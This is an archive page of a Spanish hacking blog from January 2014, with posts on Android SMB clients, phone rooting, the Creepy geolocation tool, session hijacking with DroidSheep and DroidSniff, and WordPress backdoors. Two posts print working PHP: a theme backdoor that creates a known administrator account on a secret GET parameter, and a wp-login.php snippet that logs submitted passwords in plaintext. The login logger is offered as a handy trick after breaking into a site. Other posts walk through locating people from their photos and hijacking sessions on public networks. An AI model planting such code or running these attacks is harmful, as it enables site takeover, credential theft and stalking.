jueves, 30 de enero de 2014

Clientes para SMB en Android: andSMB y SharesFinder

¡Saludos!

        Al estar tantas semanas viajando he tenido tiempo de trastear con mi Motorola Moto G rooteado en la civilización, porque lo que viene siendo en el desierto poca oportunidad tuve.

        Mi primera experiencia religiosa  con Fing fue bastante satisfactoria. Se trata de un escáner de red para android que permite conocer la estructura de la red así como los servicios que corren los equipos (he visto en los  borradores que Aetsu va ha publicar sobre esta esta aplicación, asi que no me extiendo más). Además te permite interactuar directamente con esos servicios a través de las aplicaciones que tengas instaladas y que puedan gestionar el protocolo en cuestión.

      Una de las múltiples noches de trastear me encontré con un equipo que tenía recursos compartidos y al cual uno podía acceder con un cliente SMB. Resultaba muy interesante, pero como  no disponía de ningún cliente me puse a buscar por la Play Store a ver qué encontraba, y di con dos aplicaciones: andSMB y SharesFinder.

  andSMB es una aplicación bastante intuitiva si accedes a ella sin Fing (desde la interfaz de Fing, directamente tocando el servicio de SMB lanza el cliente que queramos y se conecta automágicamente) simplemente hay que agregar el servidor. Una vez que nos hemos conectado la aplicación dispone de un explorador de archivos que nos permitirán subir, bajar, o editar los archivos:



  Esta aplicación me pareció un tanto pobre y por ello probé  con otra aplicación, SharesFinder, que además incorpora un escáner de red para mostarte si (además de SMB) hay servidores FTP o HTTP en tu red. No permite conectar directamente con los FTP (unicamente te permite lanzar un cliente que ya tengas previamente instalado como andFTP) y para los HTTP utiliza tus propios navegadores web.




   Sin embargo sí que permite actuar como cliente de SMB con una interfaz más amigable ( a mi parecer las opciónes de editaje/subida/bajada de archivos son más simples y fáciles de ver):





  Ésta ha sido una entrada breve, pero quería compartir estas dos aplicaciones para que las conocierais por si alguna vez os encontrais un SMB en vuestra sopa.

Byt3z!

5 0verl0ad Labs: enero 2014 ¡Saludos!         Al estar tantas semanas viajando he tenido tiempo de trastear con mi Motorola Mo...

miércoles, 29 de enero de 2014

Creepy: El regreeeeeeeso!

  Creepy era (y es) un programa que nos permitía geolocalizar personas a partir de sus imágenes publicadas en Twitter o Flickr, pero que, debido a un cambio en la API de Twitter dejó de funcionar. Así estuvo más de un año hasta que hace unas semanas recibió una actualización recuperando sus funcionalidades y añadiendo soporte a Instagram (entre otros).

  Existen tanto versiones para Windows como para GNU/Linux, siendo está segunda sobre la que trabajaremos. El primer paso será instalar las dependencias, en caso de una distribución basada en Debian (por ejemplo Kali) serán:
sudo apt-get install python-qt4 python-pip
  Acto seguido instalar las librerías de Python (importante versión 2.X) requeridas:
pip install tweepy yapsy configobj python-instagram flickrapi
  Después basta con descargarlo y extraerlo.


  Para ejecutar la aplicación iremos (dentro del archivo extraído) a la carpeta creepy y:

python CreepyMain.py


  Antes de continuar, tenemos que tener en cuenta que Creepy funciona mediante plugins, es decir, para acceder a Instagram o Twitter necesitamos sus respectivos complementos y su previa configuración. En este ejemplo trabajaremos con Twitter con lo que vamos a configurarlo. Para ello vamos al menú Edit>Plugins Configuration. 


  Una vez aquí, y asumiendo que tenemos una cuenta de Twitter con la que trabajar, tenemos que que darla de alta para desarrollar aplicaciones. Dicha tarea es muy fácil gracias a la aplicación que nos lo facilita. Para ello pulsamos en Run Configuration Wizard:



  Le damos a Next, autorizamos la cuenta escogida y Creepy añadirá los datos al formulario:


  Para comprobar si está configurado correctamente basta con pulsar Test Plugin Configuration:



Con todo configurado correctamente, podemos empezar a trabajar. Para ello lo primero es crear un nuevo proyecto (menú Geolocation OSINT tool>New Project) y asignarle un nombre:


  Pulsamos Next y llegamos a la ventana donde seleccionaremos el objetivo a analizar, para ello ponemos un nombre en el buscador, seleccionamos el tipo de cuenta a revisar, realizamos la búsqueda (Search) y añadimos  las "víctimas" (Add To Targets):


    Por último Next y Finish:



   Con el proyecto ya configurado basta con seleccionarlo y pulsar en Analyze Current Project:



  Después de un tiempo variable aparecerá (si la hay) la información sobre la (o las) cuentas analizadas:




 Por último, se nos ofrece la posibilidad de exportar la información a un archivo .kml o .csv compatible con Google Earth y similares. Para la prueba lo importaremos desde Marble:




 Para cerrar, resaltar una pega referente a la búsqueda de usuario que funciona con cierta aleatoriedad o limitación en los resultados, no se si por limitaciones de la API de Twitter o por su programación. En todo lo demás funciona muy bien y es una muy interesante opción para obtener información sobre determinadas usuarios.

Un saludo,


5 0verl0ad Labs: enero 2014    Creepy era (y es) un programa que nos permitía geolocalizar personas a partir de sus imágenes pu...

viernes, 10 de enero de 2014

WordPress Backdoors II: usuario admin automático

¡Saludos!

    Estoy preparando un PDF para recopilar diferentes estrategias para detectar backdoors en WordPress, y mientras, voy a ir poniendo por el blog algunos ejemplos  para abrir boca. En este caso vamos a ver un truco muy manido ya para distribuir themes que lleven "sorpresa".

    Básicamente se trata de esconder en el source de un archivo del theme (por ejemplo en el header) un script que genere un usuario de nombre y password conocido con rol de de administrador. Para ello podemos usar las propias funciones que WordPress nos proporciona: wp_create_user() para crear el usuario y set_role() para asignarle el rol de admin.

  <?php
    add_action('wp_head', 'backdoor');   
    function backdoor() {
            if ($_GET['backdoor'] == '0wned') {  
                    require('wp-includes/registration.php'); 
                    If (!username_exists('X-C3LL')) {  
                            $user_id = wp_create_user('X-C3LL', 'password123'); 
$user = new WP_User($user_id);
                            $user->set_role('administrator'); 
                    }
            }
    }
    ?>

  De esta forma al mandar una petición tipo GET con el parámetro "?backdoor=0wned" se creará un usuario con los credenciales que le hemos indicado, y con rol admin. Para poder saber qué WordPress han instalado nuestro theme podemos sustituir la dirección de una imagen por una que apunte a un servidor nuestro, de tal forma que podremos recoger a través de los referer dónde está instalado.

  Lógicamente casi nunca veremos un código tal claro como este, sino que normalmente veremos el código ofuscado, pero eso ya es para otra entrada, o para el PDF ;)

Byt3z!

   
5 0verl0ad Labs: enero 2014 ¡Saludos!     Estoy preparando un PDF para recopilar diferentes estrategias para detectar backdoors en WordPress, y mientras, voy a ir p...

jueves, 9 de enero de 2014

Rootear Motorola Moto G [y solución de errores]

¡Saludos!

   Después de ser altamente reacio a comprarme un smartphone he tenido que caer en la tentación de comprarme uno, más que nada por necesidad. Tal es así que, tras una breve encuesta por twitter y preguntar a mis conocidos, opté ayer por comprarme un Motorola Moto G.

  Para poder instalar Bugtroid de los chicos de  @BugtraqTeam  he tenido que rootear el terminal, dandome cada dos por tres con algún error. Siguiendo las guías en español que encuentras en los primeros resultados que arroja google no llegaba a buen término, asi que he tenido que indagar por foros en inglés parar ir solucionando todos los problemas que me he encontrado. Por ello vengo a traer aquí los pasos que he seguido para poder finalmente rootearlo desde windows 7, así si alguien no lo ha conseguido quizás siguiendo esta guía pueda. Asi que... adelante (huelga decir que siguiendo este proceso perdeis la garantía del móvil, y si lo rompeis no me hago responsable :P).

      Lo primero que debemos de hacer es desbloquear el bootloader, para lo cual podemos seguir la guía for dummys que ofrece la propia web de Motorola (click aquí). Una vez que hemos desbloqueado el bootloader podemos empezar a rootearlo siguiendo estos pasos (en windows):

1.-Descargar y descomprimir este .zip => http://loadbalancing.modaco.com/download.php?file=r1-motog-modifiedrecoveryroot.zip

2.-Haz un fastboot al móvil y conéctalo a tu ordenador (lo mismo que hiciste para desbloquear el bootloader, mantén pulsado el botón de apagado y bajar el volumen al mismo tiempo durante un par de segundos y soltar)

3.-Abre un cmd con permisos de administrador (inicio-> escribes cmd-> click derecho abrir como administrador) y vete a la ruta donde has descomprimido el .zip

4.-Ejecuta
 fastboot-moto-windows flash recovery recovery.testkeys.img

5.-  En el móvil usa el botón para bajar el volumen  para ir hasta "Recovery" y seleccionalo pulsando el botón de subir volumen. Una vez cargue selecciona "Apply update from SD"

6.- Ejecuta en el cmd
adb-windows sideload supersu.motog.zip

En caso de que te aparezca un mensaje de error tipo "Device not found" deberemos de:

*Ir al administrador de dispositivos, en vuestro dispositivo vereis un triangulo. Click derecho, click en "Actualizar driver". Vamos a la segunda opción para buscar los drivers en nuestro ordenador y a seleccionar un driver de una lista. Una vez allí buscamos dónde están los drivers (en mi caso estaban en Android device) y selecionamos mot single adb drivers. Si todo ha ido bien podremos continuar

7.-Ejecutamos en el cmd
 adb-windows sideload supersu.motog.zip

8.- En el terminal ahora seleccionamos "Reboot".

9.- ¡Disfruta de tu Motorola Moto G Rooteado. Para comprobar si se ha rooteado podemos utilizar la aplicación Root Checker.

5 0verl0ad Labs: enero 2014 ¡Saludos!    Después de ser altamente reacio a comprarme un smartphone he tenido que caer en la tentación de comprarme uno, más que nada p...

Robando sesiones con Androides (los móviles no los robots)

  Después de bastante tiempo sin escribir por mi parte (por falta de tiempo y algo de pereza), hoy veremos como realizar un ataque de robo de sesión desde un dispositivo Android.



  El robo de sesión o Session hijacking es un ataque que consiste en, sin conocer las credenciales de acceso de un usuario (alias y contraseña por poner un ejemplo), conectarse a su sesión en una web y suplantarle.

  En esta entrada comentaremos como llevar a cabo esta "oscura" tarea desde un androide (el dispositivo Android, no un robot).
  Para ello utilizaremos dos herramientas disponibles en Bugtroid (compendio de herramientas que ya comentamos en una entrada anterior). Éstas son DroidSheep y DroidSniff, ambas bajo licencia GPL v3 y tienen, como requisito indispensable, tener nuestro dispositivo rooteado.





  La primera es DroidSheep (supongo que en recuerdo a firesheep) aunque no está disponible en su web para descargar (problemas legales). Para obtenerla podemos tirar de Bugtroid o compilar su código fuente pues posee licencia GPL como hemos comentado antes (yo he optado por la primera opción).

  Su interfaz es muy simple, basta con lanzarlo y pulsar el botón Start, con lo que, mediante un ataque de arp-spoofing, empezará a capturar sesiones en la red:



A partir de aquí solo queda pulsar sobre la sesión capturada y suplantarla:







   DroidSniff es la segunda opción, originada en los foros de XDA nos ofrece las mismas posibilidades que la anterior. Su instalación, al igual que DroidSheep es posible desde Bugtroid (sección de sniffers), aunque también podemos descargarla del foro o compilarla.

  El funcionamiento, igual que antes, basta con que pulsemos Start y la aplicación hará todo el trabajo:






  Hemos visto dos aplicaciones de botón gordo (que diría mi compañero @TheXC3LL) que permiten realizar ataques de robo de sesión de forma muy simple convirtiendo cualquier red pública en un coto de caza con un androide como depredador ;) .

Nos leemos en breve (o no)








5 0verl0ad Labs: enero 2014   Después de bastante tiempo sin escribir por mi parte (por falta de tiempo y algo de pereza), hoy v...

domingo, 5 de enero de 2014

WordPress Login Backdoor

¡Saludos!

   Ya sé que tenemos esto un tanto abandonado, pero en nuestra defensa he de decir que estamos realmente liados y sin tiempo, Aetsu con el proyecto fin de carrera ( cof cof auditoría a cierta uni, cof, cof) y yo ando trasteando con varios proyectos en los que estoy implicado, como WordPressa Security Plugin , entre otros. Asi que voy a ser yo quien haga el primer post del año, si no vuelvo a tener un corte de luz :P

    Cuando se ha conseguido ganar acceso a una plataforma web es muy interesante obtener los credenciales de los usuarios para por ejemplo probar si el par usuario/password coincide en otros servicios. La forma más habitual es dumpear la base de datos y tratar de crackear a partir de ella los hashes almacenados con el objetivo de obtener el password original, tarea que puede ser un tanto tediosa.  Pero... ¿Y si pudieramos capturar el usuario/password directamente en texto plano? ¿Cuando podemos verla en texto plano?


 
   Exacto, en el momento de mandar el formulario =)


  Este es un truco que se ha estado utilizando desde hace muchos años en los foros, siendo bastante común el tener ya una batería de scripts para cada CMS preparados para infectar los login. En el caso de WordPress el formulario de login se encuentra en el archivo wp-login.php.

A modo de PoC podemos usar Wordpressa Lab  , tan sólo deberemos de añadir un par de líneas de código a wp-login.php para que nos guarde los credenciales que son enviados:

if (isset($_POST['pwd'])){
$cosa = fopen ("wp-content/languages/Andaluz.txt", "a");
fwrite($cosa, $_POST['log'] . "  ". $_POST['pwd']."\n");
}

   Los usuarios con sus respectivas contraseñas van a ser guardados en el archivo Andaluz.txt en la carpeta "languages", pero cualquier opción es válida. Además, para ocultarlo un poco, se puede incrustar ese sencillo código en wp-load.php, ya que al inicio de wp-login se le hace un request().

  Truco fácil, sencillo, y que te ahorrará más de un quebradero de cabeza ;)


5 0verl0ad Labs: enero 2014 ¡Saludos!    Ya sé que tenemos esto un tanto abandonado, pero en nuestra defensa he de decir que e...
< >